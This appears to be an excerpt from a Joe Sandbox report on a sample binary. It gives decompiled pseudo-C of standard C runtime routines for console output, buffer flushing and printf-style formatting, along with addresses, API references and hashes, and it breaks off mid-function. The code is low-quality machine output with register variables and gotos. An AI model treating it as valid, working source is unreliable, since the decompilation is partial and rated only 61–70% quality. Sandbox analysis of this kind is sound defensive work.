							} else {
								 *0x43dfb0 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E004242B0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x00434bf0
0x00434bf8
0x00434bff
0x00434c09
0x00434c7e
0x00434c85
0x00434cd8
0x00434cd8
0x00434c87
0x00434ca6
0x00434cb0
0x00434cd1
0x00434cd1
0x00434cb2
0x00434cc0
0x00434ccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ccf
0x00434cb0
0x00434c0b
0x00434c12
0x00434c14
0x00434c14
0x00434c20
0x00434c3a
0x00434c49
0x00434c74
0x00000000
0x00434c4b
0x00434c52
0x00434c6b
0x00434c5f
0x00434c5f
0x00000000
0x00434c72
0x00434c52
0x00434c22
0x00434c22
0x00434c22
0x00434c20
0x00434ce9

APIs

___initconout.LIBCMTD ref: 00434C14

Part of subcall function 00439DE0: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,00434C19), ref: 00439DF9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 00434C99
WideCharToMultiByte.KERNEL32(00000000), ref: 00434CA0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 00434CC7

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: f111f7cbad674b15c6781d9b5334192e4a1e487c138439e0932fe2e7273d6488
Instruction ID: 3c5c7d68c48e5cc553c45b695df71c81e9794d25d1fbb5886c37e54dfc6b22e9
Opcode Fuzzy Hash: f111f7cbad674b15c6781d9b5334192e4a1e487c138439e0932fe2e7273d6488
Instruction Fuzzy Hash: 2E210530905205EFDB20DB94ED48BEA3764FB89314F11723AF102962E0E7786944EB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00436C63, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00436C63() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E0042C850( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041F590();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x43d7c8;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x44dec0 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E0042C510(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E0042C850( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E004242C0() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E004242C0() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E0042D680(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E0042D5C0(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00436c9d
0x00436ce9
0x00436cf5
0x00436d04
0x00436d0a
0x00436d11
0x00436d18
0x00436d1b
0x00436d29
0x00436d61
0x00436d6d
0x00436e75
0x00436e85
0x00436e9d
0x00436ea0
0x00436ea6
0x00436ec1
0x00436ea8
0x00436eb4
0x00436eb7
0x00436eb7
0x00000000
0x00436ea6
0x00436d7e
0x00436d80
0x00436d85
0x00436d87
0x00436d8c
0x00436d91
0x00436d93
0x00436d98
0x00436d9e
0x00436da0
0x00436da0
0x00436d9e
0x00436dac
0x00436dbb
0x00436dc9
0x00436dd0
0x00436df2
0x00436e15
0x00436dfa
0x00436e10
0x00436e10
0x00436e1f
0x00436e23
0x00436e26
0x00000000
0x00436e28
0x00436e2e
0x00436e3a
0x00436e3d
0x00436e49
0x00000000
0x00000000
0x00436e57
0x00436e5a
0x00000000
0x00436e5a
0x00436dd2
0x00436de9
0x00436e61
0x00436e70
0x00000000
0x00436e70
0x00436dd0
0x00436d36
0x00436d45
0x00436d49
0x00436d4e
0x00436d53
0x00000000
0x00000000
0x00000000
0x00436d55
0x00436d55
0x00436d59
0x00436d5e
0x00000000
0x00436d5e
0x00436c9f
0x00436ca2
0x00436cb2
0x00436cdc
0x00436cdf
0x00436ec6
0x00436ec9
0x00436ec9
0x00436cbd
0x00436ccb
0x00000000
0x00436ccb

APIs

__isatty.LIBCMTD ref: 00436D49
__getbuf.LIBCMTD ref: 00436D59
__write.LIBCMTD ref: 00436DE1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00436D8C
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00436D80

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 797f526978cbfb4dc3cad6d6f7c717825e24bece2f4f04afcb10a965d3a4bd45
Instruction ID: 5083262b25ef1ea8e8fbcd3fdc06eaf4c21664cf7ad05ba93c51da27045e84f3
Opcode Fuzzy Hash: 797f526978cbfb4dc3cad6d6f7c717825e24bece2f4f04afcb10a965d3a4bd45
Instruction Fuzzy Hash: 4351E979A00209EFDB14CF98D491AADFBB1FF88324F15C299E4455B395D634EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041F061, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E0041F061() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E0042C850( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041F590();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x43d7c8;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x44dec0 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E0042C510(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E0042C850( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E004242C0() + 0x20 ||  *(_t190 - 8) == E004242C0() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E0042D680(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E0042D5C0(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0041f099
0x0041f0e3
0x0041f0ef
0x0041f0fe
0x0041f104
0x0041f10b
0x0041f112
0x0041f115
0x0041f123
0x0041f15b
0x0041f167
0x0041f266
0x0041f281
0x0041f284
0x0041f28a
0x0041f2a3
0x0041f28c
0x0041f292
0x0041f298
0x0041f29b
0x0041f29b
0x00000000
0x0041f28a
0x0041f178
0x0041f17a
0x0041f17f
0x0041f181
0x0041f186
0x0041f18b
0x0041f18d
0x0041f192
0x0041f198
0x0041f19a
0x0041f19a
0x0041f198
0x0041f1a6
0x0041f1b5
0x0041f1c3
0x0041f1ca
0x0041f1ec
0x0041f20f
0x0041f1f4
0x0041f20a
0x0041f20a
0x0041f219
0x0041f21d
0x0041f220
0x00000000
0x0041f222
0x0041f228
0x0041f234
0x0041f237
0x0041f243
0x00000000
0x00000000
0x0041f24e
0x0041f251
0x0041f254
0x00000000
0x0041f254
0x0041f1cc
0x0041f1e3
0x0041f259
0x0041f262
0x00000000
0x0041f262
0x0041f1ca
0x0041f130
0x0041f13f
0x0041f143
0x0041f148
0x0041f14d
0x00000000
0x00000000
0x00000000
0x0041f14f
0x0041f14f
0x0041f153
0x0041f158
0x00000000
0x0041f158
0x0041f09b
0x0041f09e
0x0041f0ae
0x0041f0cc
0x0041f0d8
0x0041f0db
0x0041f2a8
0x0041f2ab
0x0041f2ab
0x0041f0b9
0x0041f0c7
0x00000000
0x0041f0c7

APIs

__isatty.LIBCMTD ref: 0041F143
__getbuf.LIBCMTD ref: 0041F153
__write.LIBCMTD ref: 0041F1DB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0041F186
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0041F17A

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: e10e4a5f12c0ddc282fc8343ceafc56c0a63136cec4194856a9e025479760629
Instruction ID: 7be63feca0be3ee5a9adf0678848b02fc4ee192fbb3f487a85a0fffd68abb75f
Opcode Fuzzy Hash: e10e4a5f12c0ddc282fc8343ceafc56c0a63136cec4194856a9e025479760629
Instruction Fuzzy Hash: 1251DC78A00208EFDB14CF94D495AADFB71FF88324F14C299D4496B396D635AE86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00430424, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00430424() {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00420C00(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00420C00(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00420C00(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00430BA0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00430BE0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E00430BA0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00430BE0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00436BC0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00430BE0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
